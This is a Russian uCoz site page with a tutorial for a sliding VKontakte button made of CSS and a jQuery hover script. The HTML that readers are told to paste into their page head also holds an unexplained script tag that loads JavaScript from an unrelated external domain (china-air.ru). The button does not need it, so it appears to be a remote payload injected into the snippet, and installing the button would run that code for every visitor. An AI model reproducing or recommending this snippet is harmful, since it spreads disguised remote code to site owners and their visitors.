Меню |
|
|
Категории раздела |
|
|
Статистика |
|
|
|
Главная » 2012 » Декабрь » 15 » Выдвижная кнопка ВКонтакте для uCoz
16:54 Выдвижная кнопка ВКонтакте для uCoz |
Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz
Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа.
Установка
1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:
Code #vkontakte_button img { position: fixed; top:125px; right: -76px; z-index: 99999; cursor: pointer; display: block; }
2.) Следующий код вставляем в любое место на странице между head и /head: Code <script type="text/javascript"> $(function($) { $("#vkontakte_button img").hover( function () { $(this).animate({right: '0'}, {queue:false, duration: 350}); //$(this).css('right', '0'); }, function () { $(this).animate({right: '-76px'}, {queue:false, duration: 350}); // $(this).css('right', '-76px'); } ); }); </script> <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;"> <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script> </a> Настройка скрипта
Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк.. Вот и все, установка и настройка завершена.
|
Добавил: budyvmaster
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|
|
Профиль |
Здравствуйте, гость. Воспользуйтесь формой ниже для входа или регистрации на сайте.
|
|
Поиск |
|
|
Календарь |
|
|
|